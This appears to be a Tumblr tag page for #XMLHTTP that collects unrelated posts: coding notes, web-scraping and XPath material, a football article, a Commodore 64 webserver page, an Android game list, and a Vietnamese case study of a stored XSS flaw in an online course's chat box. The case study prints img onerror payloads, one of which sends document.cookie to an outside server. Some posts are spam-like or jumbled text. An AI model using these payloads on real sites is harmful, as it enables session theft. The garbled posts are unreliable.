#XMLHTTP
Explore tagged Tumblr posts
Text
Revamped my site/blog today using *DUN DUN DUUUUUUUUUN* a synchronous XMLHttp request and document.write(). Noooooooooooo!
https://scott2.neocities.org/blog/2024-11-15-site-revamp/
0 notes
Text
무빙 19화
무빙 19화 [링크]”FV” var li = “xmlhttp:[링크]” top-left> [TOP] 샤이니 링딩동 뮤비 모음(+) SHINee’s Ring Dong Performed by Music Club Limousine April 23, 2010 Genre 장르 : 댄스(국내) 드라마 OST Part.1 발매일 : 2011.02.21 수록곡 01. 무빙 19화 다시보기 링크: https://bit.ly/44Qhwem Chocolate (샤이니, 민호, 태민 & 온유, Key… 02. It`s Over Baby 03. Show Me Your Love 04… 05…. 뮤직뱅크(MBK), 인기가요(SM Town World Cup in Japan 2012… 08.. 09…. I’ll Be There 10..…
View On WordPress
0 notes
Text
Fminer xpath

Fminer xpath how to#
Fminer xpath code#
The use of visual clues and “page geography” often leads to more precise and more robust wrappers .
Fminer xpath code#
The possibility of defining, modifying, and testing wrappers in a visual fashion has relieved wrapper designers from the tedious task of having to decipher the HTML code of each target web page, and of writing sequential programs that act on it. #Fminer match portion of html tag code#.#Fminer match portion of html tag manual#.#Fminer match portion of html tag generator#.Selects all elements in the all title elements which have at least one attribute of any kindīy using the | operator in an XPath expression you can select several paths. Selects all the child element nodes of the bookstore element XPath wildcards can be used to select unknown XML nodes. Selects all the title elements of the book elements of the bookstore element that have a price element with a value greater than 35.00 Selects all the book elements of the bookstore element that have a price element with a value greater than 35.00 Selects the last but one book element that is the child of the bookstore element Selects the last book element that is the child of the bookstore element To solve this problem in IE, set the SelectionLanguage to XPath: In JavaScript: xml.setProperty("SelectionLanguage","XPath") Note: In IE 5,6,7,8,9 first node is, but according to W3C, it is. Selects the first book element that is the child of the bookstore element. In the table below we have listed some path expressions with predicates and the result of the Predicates are always embedded in square brackets. Predicates are used to find a specific node or a node that contains a specific value. Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore all attributes that are named lang Selects all book elements no matter where they are in the document Selects all book elements that are children of bookstore Note: If the path starts with a slash ( / ) it always represents an absolute Selects all nodes with the name "bookstore" In the table below we have listed some path expressions and the result of the Selects the parent of the current attributes Selects nodes in the document from the current node that match the selection no matter where they are Selects all nodes with the name " nodename" Path expressions are listed below: Expression The node is selected by following a path or steps. XPath uses path expressions to select nodes in an XML document. References DOM Node Types DOM Node DOM NodeList DOM NamedNodeMap DOM Document DOM Element DOM Attribute DOM Text DOM CDATA DOM Comment DOM XMLHttpRequest DOM Parser XSLT Elements XSLT/XPath Functions Web Services XML Services XML WSDL XML SOAP XML RDF XML RSS XSD Data Types XSD String XSD Date/Time XSD Numeric XSD Misc XSD Reference
Fminer xpath how to#
XSD Schema XSD Introduction XSD How To XSD XSD Elements XSD Attributes XSD Restrictions XSD Complex Elements XSD Empty XSD Elements-only XSD Text-only XSD Mixed XSD Indicators XSD XSD XSD Substitution XSD Example XML DTD DTD Introduction DTD Building Blocks DTD Elements DTD Attributes DTD Elements vs Attr DTD Entities DTD Examples XQuery Tutorial XQuery Introduction XQuery Example XQuery FLWOR XQuery HTML XQuery Terms XQuery Syntax XQuery Add XQuery Select XQuery Functions XSLT Tutorial XSLT Introduction XSL Languages XSLT Transform XSLT XSLT XSLT XSLT XSLT XSLT XSLT Apply XSLT on the Client XSLT on the Server XSLT Edit XML XSLT Examples XPath Tutorial XPath Introduction XPath Nodes XPath Syntax XPath Axes XPath Operators XPath Examples XML DOM DOM Introduction DOM Nodes DOM Accessing DOM Node Info DOM Node List DOM Traversing DOM Navigating DOM Get Values DOM Change Nodes DOM Remove Nodes DOM Replace Nodes DOM Create Nodes DOM Add Nodes DOM Clone Nodes DOM Examples XML AJAX AJAX Introduction AJAX XMLHttp AJAX Request AJAX Response AJAX XML File AJAX PHP AJAX ASP AJAX Database AJAX Applications AJAX Examples XML Tutorial XML HOME XML Introduction XML How to use XML Tree XML Syntax XML Elements XML Attributes XML Namespaces XML Display XML HttpRequest XML Parser XML DOM XML XPath XML XSLT XML XQuery XML XLink XML Validator XML DTD XML Schema XML Server XML Examples XML Quiz XML Certificate

1 note
·
View note
Text
Granovskaia ready to sell Chelsea star against Tuchel’s wishes


Tuchel: Lukaku ‘full of confidence’ after ‘perfect evening’ Chelsea boss Thomas Tuchel insisted that Romelu Lukaku is “full of confidence” as he has hit… var str = document.getElementById("vuukle_box"); if (str === null) { console.warn("Vuukle comments post request was not completed because the divClassID for Vuukle Widgets is invalid. Please check your configuration."); } else { document.addEventListener("DOMContentLoaded", function(event) { var commentBoxDiv = document.getElementById("vuukle-comments"); var commentBoxDivAfter = document.getElementById("vuukle_box"); var cloneCommentBoxDiv = commentBoxDiv.cloneNode(true); commentBoxDiv.parentNode.removeChild(commentBoxDiv); commentBoxDivAfter.parentNode.insertBefore(cloneCommentBoxDiv, commentBoxDivAfter.nextSibling); }); } #vuukle-comments { position: relative !important; } var VUUKLE_CONFIG = { apiKey: "bc9fd4eb-d7be-4d00-87ef-b570563b015f", articleId: "536976", title:'Tuchel: Lukaku ‘full of confidence’ after ‘perfect evening’', tags: "Romelu Lukaku, thomas tuchel", author: "Lewis Oldham", // Lang wordpressSync: true, eventHandler: function (e) { console.log(e); if (e.eventType == 'wpSync') { function loadXMLDoc() { var xmlhttp = new XMLHttpRequest(); var url = "/wp-admin/admin-ajax.php"; var cache = false; var formData = new FormData(); formData.append("action", "saveCommentToDb"); formData.append("comment_ID", e.comment_ID); formData.append("comment_post_ID", e.comment_post_ID); formData.append("comment_author", e.comment_author); formData.append("comment_author_email", e.email); formData.append("comment_author_url", e.comment_author_url); formData.append("comment_content", e.comment_content); formData.append("comment_type", e.comment_type); formData.append("comment_parent_ID", e.comment_parent); formData.append("user_id", e.user); formData.append("comment_author_IP", e.comment_author_IP); formData.append("comment_agent", e.comment_agent); formData.append("comment_agent", e.comment_approved); formData.append("comment_date", e.comment_date); formData.append("comment_date_gmt", e.comment_date_gmt); formData.append("comment_karma", e.comment_karma); formData.append("_wpnonce", "e00e0a80eb"); xmlhttp.open("POST", url, cache ); xmlhttp.send(formData); } loadXMLDoc(); } }, // Articles - recommendations in emotes and comments widget recommendationsWideImages: false, recommendationsProtocol: "https://www.", globalRecommendations: false, // Colors darkMode: false, // By Widget theme: {color: "108ee9"}, comments: { hideRecommendedArticles: false, hideCommentInputBox: false, enabled: true, commentingClosed: false, maxChars: '3000', countToLoad: '5', toxicityLimit: '80', spamLimit: '90', sorting: 'latest', }, emotes: { enabled: true, hideRecommendedArticles: false, size: '50', // icons size firstImg: '', firstName: 'HAPPY', secondImg: '', secondName: 'INDIFFERENT', thirdImg: '', thirdName: 'AMUSED', fourthImg: '', fourthName: 'EXCITED', fifthImg: '', fifthName:'ANGRY', sixthImg: '', sixthName: 'SAD', disable: , }, powerbar: { enabled: true, defaultEmote: 1, items: , }, }; (function () { var d = document, s = d.createElement('script'); s.async = true; s.src = 'https://cdn.vuukle.com/platform.js'; s.setAttribute('data-cfasync', 'false'); (d.head || d.body).appendChild(s); })(); Read the full article
0 notes
Text
4 Formas de Extraer Datos del Sitio Web a Excel
Probablemente sepas cómo usar funciones básicas en Excel. Es fácil hacer cosas como ordenar, aplicar filtros, hacer gráficos y delinear datos con Excel. Incluso puedes realizar análisis de datos avanzados utilizando modelos de pivote y regresión. Se convierte en un trabajo fácil cuando los datos en vivo se convierten en un formato estructurado.
El problema es, ¿Cómo podemos extraer datos y ponerlos en Excel? Esto puede ser tedioso si lo haces manualmente escribiendo, buscando, copiando y pegando repetidamente. En cambio, puedes lograr la extracciñon automática de datos de la web para sobresalir.
En este artículo, te presentaré varias formas de ahorrar tiempo y energía, scrapear datos web en Excel.
Descargo de responsabilidad: Hay muchas otras formas de scrapear datos desde una web utilizando lenguajes de programación como PHP, Python, Perl, Ruby, etc. Aquí solo hablamos sobre cómo obtener datos de una web en Excel para no codificadores.
Tabla de contenidos
Obtener datos web utilizando Excel Web Queries
Obtener datos de la web usando Excel VBA
Utilizar herramientas de web scraping automatizadas
Subcontratar tu proyecto de web scraping
Obtener datos web utilizando Excel Web Queries
Excepto para transformar manualmente los datos de una página web copiando y pegando, Excel Web Queries se utiliza para recuperar rápidamente datos de páginas web estándar en hojas de cálculo de Excel. Puede detectar automáticamente tablas incrustadas en el HTML de la página web. Excel Web queries también se pueden usar en situaciones en las que es difícil crear o mantener una conexión estándar ODBC (Open Database Connectivity). Puede scrapear directamente una tabla desde cualquier sitio web utilizando Excel Web Queries.
El proceso se reduce a varios pasos simples (consulta este artículo):
1. Ir a Datos> Obtener datos externos> Dar la web
2. Aparecerá una ventana del navegador llamada "New Web Query"
3. Escribir la dirección web en la barra de direcciones.

4. Se cargará y mostrará iconos amarillos contra datos/tablas en la página.
5. Seleccionar uno apropiado
6. Presionar el botón Importar.
Ahora has scrapeado los datos de la web en una hoja de cálculo de Excel, perfecta permutación en filas y columnas como desees.

Obtener datos de la web usando Excel VBA
La mayoría de nosotros usaría fórmulas en Excel (p. Ej. = Avg (...), = sum (...), = if (...), etc.) mucho, pero menos familiarizado con el lenguaje incorporado: Visual BasicVisual Basic for Application a.k.a VBA. Se conoce comúnmente como "Macros" y dichos archivos de Excel se guardan como a **.xlsm.
Antes de usarlo,
Primero debes habilitar la pestaña la pestaña Desarrollador en la barra (hacer clic con el botón derecho en Archivo -> Personalizar barra -> verificar la pestaña Desarrollador),
Luego configura tu diseño. En esta interfaz de desarrollador, puedes escribir código VBA adjunto a varios eventos. Haz clic AQUÍ (https://msdn.microsoft.com/en-us/library/office/ee814737(v=office.14).aspx) para comenzar a utilizar VBA en Excel 2010.

Usar Excel VBA va a ser un poco técnico, esto no es muy amigable para quienes no son programadores entre nosotros. VBA funciona ejecutando macros, procedimientos paso a paso escritos en Excel Visual Basic. Para scrapear datos de sitios web a Excel usando VBA, necesitamos construir u obtener un script VBA para enviar alguna solicitud a las páginas web y obtener datos devueltos de estas páginas web. Es común usar VBA con XMLHTTP y expresiones regulares para analizar las páginas web. Para Windows, puedes usar VBA con WinHTTP o InternetExplorer para scrapear datos de sitios web a Excel.
Con un poco de paciencia y práctica, te convendría aprender algo de código Excel VBA y algo de conocimiento HTML para que tu Web scraping en Excel sea mucho más fácil y eficiente para automatizar el trabajo repetitivo. Hay una gran cantidad de material y foros para que aprendas a escribir código VBA.
Utilizar herramientas de web scraping automatizadas
Para alguien que está buscando una herramienta rápida para scrapear datos de las páginas a Excel y no quiere configurar el código VBA tú mismo, te recomiendo encarecidamente herramientas de web scraping automatizadas como Octoparse para scrapear datos para tu hoja de cálculo de Excel directamente o mediante API.
No hay necesidad de aprender a programar. Puedes elegir uno de esos programas gratuitos de web scraping de la lista y comenzar a extraer datos de sitios web de inmediato y exportarlos a Excel. Las diferentes herramientas de web scraping tienen sus ventajas y desventajas, y puedes elegir la perfecta para tus necesidades.
Echa un vistazo a esta publicación y prueba estas TOP 30 herramientas gratuitas de web scraping.
Subcontratar tu proyecto de web scraping
Si el tiempo es tu activo más valioso y deseas enfocarte en tus negocios principales, la mejor opción sería subcontratar un trabajo tan complicado de scrapear de contenido web a un equipo competente de scrapear de contenido web que tenga experiencia y conocimientos.
Es difícil scapear datos de sitios web debido al hecho de que la presencia de bots anti-scrape restringirá la práctica del web scraping. Un equipo competente de web scraping te ayudaría a obtener datos de los sitios web de manera adecuada y a entregarte datos estructurados en una hoja de Excel o en cualquier formato que necesites.
Octoparse proporciona todo lo que necesitas para la extracción automática de datos. Puedes scrapear los datos web rápidamente sin codificar y convierte las páginas web en datos estructurados con clics, o simplemente relájate y déjanos el trabajo a nosotros, ofrecemos servico de datos que nuestro equipo de datos se reunirá contigo para analizar el rastreo web y los requisitos de procesamiento de datos.
0 notes
Text
Her we go again - HTML
To build this "Commodore Style" web page you need a few things:
index.htm
404.html
temp.js
temp.shtml
c64.css
c64.woff
index.htm is the main page:
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"/> <title>Commodore 64</title> <link rel="stylesheet" href="c64.css"> <style> #top, #bottom, #left, #right { background: #8880E0; } #left, #right { position: fixed; top: 0; bottom: 0; width: 55px; } #left { left: 0; } #right { right: 0; } #top, #bottom { position: fixed; left: 0; right: 0; height: 55px; } #top { top: 0; } #bottom { bottom: 0; } @media /* Fairly small screens including iphones */ only screen and (max-width: 500px), /* iPads */ only screen and (min-device-width: 768px) and (max-device-width: 1024px) { #top, #bottom, #left, #right { display: none; } } </style> <script type="text/javascript" src="/temp.js"></script> </head> <body> <div class="text"> <!h1> <br></h1> <h1>**** COMMODORE 64 BASIC V2 ****</h1> <!h1> <br></h1> <h1>64K RAM SYSTEM 38911 BASIC BYTES FREE</h1> <!h1> <br></h1> </div> <div class="ready">READY.</div> <div class="ready">LOAD "WEBSERVER",8</div> <div class="ready"> </div> <div class="ready">SEARCHING FOR WEBSERVER</div> <div class="ready">LOADING</div> <div class="ready">READY.</div> <div class="ready">LIST</div> <div class="ready"> </div> <div class="ready">10 PRINT "THIS IS A REAL COMMODORE 64"</div> <div class="ready">20 PRINT "RUNNING A WEBSERVER WITH <a href="http://contiki-os.org">CONTIKI</a>"</div> <div class="ready">30 PRINT "JUST FOR FUN."</div> <div class="ready">READY. </div> <div class="ready"> </div> <div class="ready">CURRENT TEMPERATURE: <span id="displayCelsius">24,7</span> ° C</div> <span id="typed-cursor" class="blinking">█</span> <pre> <div id="left"></div> <div id="right"></div> <div id="top"></div> <div id="bottom"></div> </pre> </body> </html>
The 404.html page is the default page for unknown subpages:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>404 - file not found</title> </head> <body bgcolor="white"> <h1 align="center">404 - file not found</h1> <h3 align="center">Go <a href="/">here</a> instead.</h3> </body> </html>
The temp.js is the JavaScript to get the temperature data:
var requestpending; var killswitch = 0; var datacounter = 0; var timer; var xmlhttp; var url= "/temp.shtml"; function xmlrequeststatechange() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { try { var s = xmlhttp.responseText; document.getElementById("displayCelsius").innerHTML=s; }equestpending; var killswitch = 0; var datacounter = 0; var timer; var xmlhttp; var url= "/temp.shtml"; function xmlrequeststatechange() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { try { var s = xmlhttp.responseText; document.getElementById("displayCelsius").innerHTML=s;
var requestpending; var killswitch = 0; var datacounter = 0; var timer; var xmlhttp; var url= "/temp.shtml"; function xmlrequeststatechange() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { try { var s = xmlhttp.responseText; document.getElementById("displayCelsius").innerHTML=s; } catch(err) { } requestpending=false; } }
function xmlrequesttimeout() { requestpending=false; }
function dattding() { if (requestpending) { killswitch++; if (killswitch<20) { return; } else { xmlhttp.abort(); } }
xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=xmlrequeststatechange; xmlhttp.ontimeout=xmlrequesttimeout; xmlhttp.open("GET",url,true); xmlhttp.timeout = 10000; xmlhttp.send(); requestpending=true; }
function bstopp() { clearInterval(timer); }
function bstart() { clearInterval(timer); timer=setInterval(dattding, 5000); }
window.onload=bstart;
The file temp.shtml is the server sides include to return: %! temp
About the c64.css and c4.woff in the next post.
0 notes
Text
[Case study 2] THE JOURNEY FROM KNOWLEDGE TO KNOWLEDGE
1. FROM AN EDUCATION TO ANOTHER ONE
Hế lô cả nhà. Lại là mình, thanh niên thích chơi trốn tìm đây. Sau 1 khoảng thời gian dài ơi là dài vắng bóng- thực ra là khoảng thời gian ăn hại- hôm nay mình sẽ trở lại với con bug tiếp theo mà mình mới tìm được gần đây. Nhân tiện thì cũng xin các bậc trưởng bối chỉ bảo thêm ạ.
Chẳng là trong thời gian Cô Vít Nai Tin hoành hành, an hem đồng môn người thì về núi ẩn cư, kẻ đi tìm miền đại dương xanh thẳm, mỗi mình mình ở lại cái Sài Gòn xa hoa tráng lệ này nên đâm ra nó chán chả có ai đàm đạo cùng. Mình quyết định đăng kí 1 khóa học online, phần vì được giao lưu mở mang tầm mắt, phần vì muốn được nói chuyện, chia sẻ với người khác cho đỡ buồn. Mọi thứ đều ngon nghẻ cả, khóa học mình đăng kí khá ổn, ban đầu mình chỉ chú tâm vào học thôi. Sau một thời gian học, mình nhận thấy hệ thống thường xuyên có thông báo cập nhật bảo trì. Quái hệ thống to tổ bố thế này mà không lẽ lắm vấn đề thế? Mình quyết định “đục đẽo” sơ bộ coi nó thực sự có vấn đề không?
2. HEY, TAKING A LOOK AT SIMPLE THINGS.
Vì là hệ thống production “nhà người ta” nên mình không dám manh động gì cả, chỉ vọc các site mà mình có thể sử dụng được thôi. Sau 1 thời gian vọc vạch “en nờ” cái subdomain, “mình bắt đầu từ tay trắng và trở về với trắng tay” 😊). Cho đến một ngày, mình đang học và và… mình thấy có cái feature khá là familiar mà mình chưa hề test. Đó là cái chat box.
Tính năng khá đơn giản: Cho người dùng nhập vào nội dung chat, nhấn Enter và … vù nó hiện lên trên. May mắn cho mình là mỗi lớp học có 1 ID riêng và khi mình đã join và lớp thì mình có thể vào bất kì lúc nào mình muốn. Mình quyết định sẽ test sau giờ học để tránh ảnh hưởng tới classmate. Đúng như mình dự đoán, cái feature này không hề được filter input từ người dùng. Nó chỉ đơn giản là 1 cái thẻ <p>. Ban đầu, mình test với script tag nhưng nó không chạy vì script tag nằm trong p tag, mình thử với img tag thì …

Ở đây mình sử dụng input như sau: hello everyone <img src=x onerror=”alert(document.cookie)” style=”display:none”>
Và đây là kết quả:

3. TRY YOUR BEST
Đến đoạn này mình hoàn toàn có thể report 1 lỗi Stored XSS cho nhà phát triển. Tuy nhiên mình muốn thử khai thác sâu hơn 1 chút để biết có những vấn đề gì có thể xảy ra với mình- tất nhiên là chỉ có mình mình trong những lớp đã “bỏ trống” thôi. Phần này sẽ là phần chia sẻ của 1 thằng noober, các cao nhân có nhìn thấy thì chỉ giúp mình hoặc nhăn mày 1 cái rồi bỏ đi cũng được, đừng chửi mình tội nghiệp :’(.
Vấn đề đầu tiên đó là việc tạo request. Lúc đầu mình tạo 1 cái input như sau:
<img src=x onerror="javascript:var xmlHttp= new XMLHttpRequest();xmlHttp.open('POST',’https://myownwebserver.com?p='+document.cookie,true); xmlHttp.send(null);" style="display:none">
Mọi người biết mình có gì không? Nothing, mịa nó chả có gì cả. Bởi vì cái url được truyền vô ngay lập tức nó bị chuyển thành 1 a tag, like this:

Mình không biết đây có phải là tính năng của Chrome không nữa. Và vâng, mình chưa thấy nó bao giờ luôn. Sau 1 hồi google search và làm đủ trò, mình mò được 1 cách. Đó là hàm concat() của javascript. Hàm này cho phép nối các chuỗi với nhau. Và để bypass qua cái issue này mình dùng payload như sau:
<img src=x onerror='javascript:var xmlHttp= new XMLHttpRequest();xmlHttp.open("POST",("https:".concat("//myownwebserver ",".","com",”?p=",document.cookie)).toString()),true)); xmlHttp.send(null);' style="display:none">
Với payload này mình đã thoát được cái stuck đầu tiên.
4. DO NOT BE A NOOBER.
Nhưng cuộc chơi mà đơn giản quá nó mất vui, nhưng vui thôi đừng vui quá. Case này thuộc trường hợp quá ☹, sau khi có được pay load thì … BOOOMMMM

Một cái log màu sắc sặc sỡ và khá bắt mắt hiện lên, nhưng nội dung thì không hề bắt mắt và make your emotion be better 1 chút nào. Đó là CORS policy. Trăm nghe không bằng một thấy, thấy xong hết muốn làm luôn ☹(, mình đã cố tìm tất cả mọi thứ liên quan đến nó, mặc dù header Access-Controll-Allow-Origin:* nhưng mình vẫn không thể làm gì hơn đươc, mình bị stuck luôn ở đây. Đó là 1 lời cảnh báo dành cho mình: I AM SO F**KING NOOB.
Mình dành vài ngày để nghiên cứu về nó nhưng có vẻ vẫn no way to escape.
The post [Case study 2] THE JOURNEY FROM KNOWLEDGE TO KNOWLEDGE appeared first on Quang Vũ Blog.
source https://blog.vu-review.com/case-study-2.html
0 notes
Text
100 + Best Android Games 2020 | Category Wise
.form-css{ width: 100%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border: none; background-color: black; color: white; text-align: center; font-size: 30px; font-family: comicsans; } tr:nth-child(even){background-color: #f2f2f2} td{ text-align: center; } th { background-color: red; color: white; text-align: center; } .tdclass{ font-family:arial; font-size:12px; } select { padding:10px; -webkit-border-radius: 20px; -moz-border-radius: 20px; width:100%; border: 10px block black; color:black; font-size: 20px; font-weight: bold; } function showUser(str) { if (str=="") { document.getElementById("txtHint").innerHTML=""; return; } if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (this.readyState==4 && this.status==200) { document.getElementById("txtHint").innerHTML=this.responseText; } } xmlhttp.open("GET","https://www.gamesindian.com/getuser.php?q="+str,true); xmlhttp.send(); }
Choose The Genre To Populate Games PuzzleBoardSportsActionCasualArcadeRacingSimulationRole PlayingAdventureEducationalCardBrain GamesEducationTriviaMusicAction & AdventureStrategyWordCreativity
These are the following games you can play
The games on this list are from various categories, each of which should satisfy your hunger for games.
Sand Balls

Sand balls is a beautiful puzzle game that requires you to go on solving some really cool levels. It is a very colorful game and is very addictive.
You have to make a path for your balls by moving your finger. It is a must to avoid crashing obstacles. Try to get as many balls to finish as you can.
If you love puzzle games this one is for you.
Rescue Cut – Rope Puzzle
If you like games that bring a lot of suspense and the rescue sort of component to a game, Rescue Cut – Rope Puzzle is going to be your favorite.
In this game, you have to help the man that is tied up and confined in a room. You have to cut the rope by swiping across it.
The man’s life depends on you. It’s probably one of the easiest and most time-pass games out there.
Ludo King

Ludo King is the modern version of the royal game of Pachisi. A Ludo game which was played between Indian kings and queens in ancient times. Roll the Ludo dice and move your tokens to reach the center of the Ludo board. Beat other players to become the Ludo King.
Ludo King follows the traditional rules and the old school look of the Ludo game. Just like the kings and queens of India’s golden age, your fate depends on the roll of the Ludo’s dice and your strategy of moving the tokens effectively.
Carrom Pool

Carrom is an easy-to-play multiplayer board game. You have to pot all your pieces before your opponent. Can you become the best at this Carrom Board game?
With simple gameplay, smooth controls and great physics, travel around the world and play against worthy opponents.
You can customize your pieces with a vast variety of unlockable items and show off your style to players from all over the world.
If you love carrom then this game is going to impress you, it involves all the techniques required for the physical board game and can prove to be a fun time.
Garena Free Fire: Spooky Night

Free Fire is the ultimate survival shooter game available on mobile. Each 10-minute game places you on a remote island where you are pitted against 49 other players, all seeking survival.
Players freely choose their starting point with their parachute and aim to stay in the safe zone for as long as possible. Drive vehicles to explore the vast map, hide in trenches, or become invisible by hiding under grass.
You can ambush, snipe, survive, there is only one goal: to survive and answer the call of duty.
PUBG MOBILE LITE

60 players parachute onto a graphically rich 2km x 2km island for a winner-takes-all showdown. Players have to scavenge for their own weapons, vehicles, and supplies while battling it out in an ever-shrinking play zone to be the last player standing. You must get ready to land, and do whatever it takes to survive.
You can invite and team up with your friends to coordinate your battle plan through voice chat and set up the perfect ambush for your enemies. Answer the call when your friends need help, or do your part when Clan duty calls!
Bubble Shooter

Match 3 balls to blast and clear the board, complete the missions and win coins & awesome rewards. Tap on the screen to drag the laser aim and lift it to take a shot. It’s important to form a strategy according to the different bubbles layout at each level. Shoot and pop all the colored balls in this fun free game, aim carefully and hit the target! Work your way through all the different challenges and puzzles, solve the brain teasers and win levels.
Drop Stack Ball – Fall Helix Blast Crash 3D

Helix Stack Ball is super fun and addictive one-touch casual game. You have to press and hold on the screen and let the ball go down without touching the obstacles! Hold as long as possible to make a combo and break the black blocks.
Let the ball fall down from the helix stacks. Stack Ball is a 3d arcade game where players smash, bump and bounce through revolving helix platforms to reach the end.
Stack Blast Ball is a Brand New Stack Ball Game, a 3D Ball Arcade game with more than 300 plus Levels, Stack Ball 3D Game where players smash, bump and bounce through revolving helix platforms to reach the end.
Subway Surfers

One of the most famous, fun and casual games out there. Once you play this game you might not stop playing it for a while.
You have to dodge trains coming towards you while running away from the police officer chasing you with his dog.
You can perform various jumps and use different powerups to achieve a better score.
This arcade game will surely keep you going and suppress your hunger for games.
Temple Run 2
With over a zillion downloads, Temple Run redefined mobile gaming. Now you can get more of the exhilarating running, jumping, turning and sliding you love in Temple Run 2!
There are options to navigate perilous cliffs, zip lines, mines and forests as you try to escape with the cursed idol. How far can you run?
Temple run has been the most played and famous game for a while and it truly deserves the same.
It is so addictive and competing with your friends to see who can get a higher score adds to the experience.
Candy Crush Saga

With over a trillion levels played, this sweet match 3 puzzle game is one of the most popular mobile games of all time!
Switch and match Candies in this tasty puzzle adventure to progress to the next level for that sweet winning feeling! Solve puzzles with quick thinking and smart moves, and be rewarded with delicious rainbow-colored cascades and tasty candy combos!
Plan your moves by matching 3 or more candies in a row, using boosters wisely in order to overcome those extra sticky puzzles! Blast the chocolate and collect sweet candy across thousands of levels, guaranteed to have you craving more!
Township

You have to build your dream town! Harvest crops at the farms, process them at your facilities and sell goods to develop your town. Trade with exotic countries. Open restaurants, cinemas, and other community buildings to give life in your town a special flavor.
You can explore the mine to get resources and find ancient artifacts. Run your own zoo and collect animals from around the world. Are you ready to become a farmer and city-manager to build your dream?
Temple Run
The addictive mega-hit Temple Run is now out for Android! All your friends are playing it – can you beat their high scores?!
You’ve stolen the cursed idol from the temple, and now you have to run for your life to escape the Evil Demon Monkeys nipping at your heels. Test your reflexes as you race down ancient temple walls and along sheer cliffs. Swipe to turn, jump and slide to avoid obstacles, collect coins and buy power-ups, unlock new characters, and see how far you can run!
Draw Car 3D
Innovative games are always welcome to the gaming world and Draw Car 3D is one such game. This game is so different as it requires you to draw your own car. Anything that you draw becomes a car.
It is based on this unique idea and is also one of the reasons for the attention it has gained.
If you love drawing and cars, there is no better game for you.
Bubble Shooter

You have to shoot bubble bullets at other bubbles and make them pop. Bullets will pop color-matched Bubbles only and really helps add to the fun. Victory is achieved once you make them all explode!
It might sound extremely easy and well it is not the hardest. If you love these types of casual games then you must download it.
You will not regret waiting for the game to download as it will be occupying quite a lot of your time later.
Turbo Stars

This is a game that falls under the racing genre, it is a unique game where players use different vehicles and race to see who will win.
You can play with your friends and enjoy the game a lot.
It is an addictive racing game and can keep you on your smartphone for a while.
You have to dodge various obstacles and reach the end.
Hill Climb Racing

One of the most addictive and entertaining physics based driving games ever made! And it’s free!
Meet Newton Bill, the young aspiring uphill racer. He is about to embark on a journey that takes him to where no ride has ever been before. From Ragnarok to a Nuclear Plant, all places are a racing track to Bill. With little respect for the laws of physics, Bill will not rest until he has conquered the highest hills up on the moon!
Face the challenges of unique hill climbing environments with many different cars. Gain bonuses from daring tricks and collect coins to upgrade your car and reach even higher distances. Watch out though – Bill’s stout neck is not what it used to be when he was a kid! And his good old gasoline crematorium will easily run out of fuel.
Fun Race 3D

You will be able to experience the full parkour experience at hundreds of unique levels. Race with others, achieve levels, unlock new characters. Every level brings a new unique fun experience. The game is very easy to play. All you have to do is hold to run and release to stop. Do you have what it takes to reach the end?
If you really have what it takes to reach the end you won’t stop playing this game either.
Bottle Shooting Game

A fun and addictive bottle shot slingshot game that will provide you with hours of fun! Knockdown to Earth colorful bottles in order to break them, challenge your skills and progress on multiple levels!
With this easy to play and fun bottle breaker catapult game, you will have endless fun testing your slingshot skills! Have fun playing and breaking all the bottles using an angry ball in front of you!
You will surely have fun playing it.
Perfect Slices

I can bet you must have watched at least one video on the internet where people cut into certain objects which looks extremely satisfying.
This game takes advice from those videos. You have to cut into certain vegetables which looks very smooth to the eye and feels quite soothing.
The game is very simple and fun, the controls as well are very easy and intuitive.
You will love the game as a time-pass.
My Talking Tom 2

Talking Tom is funnier and more lively than ever before! He reacts to everything players do and there are new surprises every day!
Players can feed Tom when he’s hungry, wash him when he’s dirty, put him to bed when he’s tired, and take him to the toilet when he’s really got to go! They can watch him grow into a big happy cat!
There are brand new mini-games to play, including puzzle games, action games, and Tom’s first-ever multiplayer mini-game!
Truck Driver City Crush

It has different hard tasks to complete. Criminal genius simulator. A large city with multiple hidden secrets. In the city of sin every crime maters. Every 3rd unsolved criminal case is your work. You are a mystery to police officers. An elusive suspect. You commit a crime and leave uncaught.
Don’t let the cops and secret agents get near. Evade chases and gunfights. Complete different missions and become a legend in the art of crime! All gangsters will know you like a subtle criminal.
PUBG MOBILE

PUBG MOBILE delivers the most intense free-to-play multiplayer action on mobile. Drop-in, gear up, and compete. Survive epic 100-player classic battles, payload mode, fast-paced 4v4 team deathmatch, and zombie modes. Survival is key and the last one standing wins. When duty calls, fire at will!
From Erangel to Miramar, Vikendi to Sanhok, compete on these enormous and detailed battlegrounds varying in size, terrain, day/night cycles, and dynamic weather – from urban city spaces to frozen tundra, to dense jungles, master each battleground’s secrets to create your own strategic approach to win.
Rope Hero: Vice Town

Start ascension to the top! • Fly on the rope through the big interesting city • Fight with gangsters, mafia corrupted cops and army • Complete missions, unlock achievements and spend money in the shop
Take control of your amazing superhero. Your super rope does real magic. You can swing on heights above citizens and cars. And climb walls like a frog or a spider! Choose the best costume, take guns and other weapons and declare war on street crime. Upgrade your skills as in RPG games and shoot with sniper accuracy.
Bike Stunt Tricks Master game 3D – T.kn Free Games

Bike stunt trick master is a free mobile game available for Android smartphones. Join millions of game players who love to simulate bike games and want to become pro bike riders. The real bike stunt champion on your smartphone is just about to start; you are just a single tap away. The bike stunt game is now available with upgraded tricky bikes and crazy riders.
Tracks are arranged according to real race scenarios which carry multiple levels from easy trials to technical approach. Are you a motorcycle racer?? Let’s find out what you have, use your motorcycle driving tricks and finish all the challenging tasks. The real fun of bike stunt and water games in this moto simulator game.
Perfect Slices

I can bet you must have watched at least one video on the internet where people cut into certain objects which looks extremely satisfying.
This game takes advice from those videos. You have to cut into certain vegetables which looks very smooth to the eye and feels quite soothing.
The game is very simple and fun, the controls as well are very easy and intuitive.
You will love the game as a time-pass.
Gun Strike: Counter Terrorist 3D Shooting Games

